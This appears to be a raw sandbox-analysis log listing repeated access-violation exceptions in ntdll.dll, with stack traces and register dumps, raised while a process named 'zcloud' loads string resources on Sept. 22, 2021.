exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008160768	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 1633024	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 37224448 registers.esi: 37224448 registers.ecx: 2008264192	1
__exception__ Sept. 22, 2021, 9:18 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74b27322 0x23863ef 0x23843cf 0x23844bc zcloud+0x661b4 @ 0x4661b4 zcloud+0x6ab15 @ 0x46ab15 zcloud+0x4aab @ 0x404aab zcloud+0x4b13 @ 0x404b13 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76a433ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77b19ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77b19ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 37224448 registers.ecx: 1633024	1
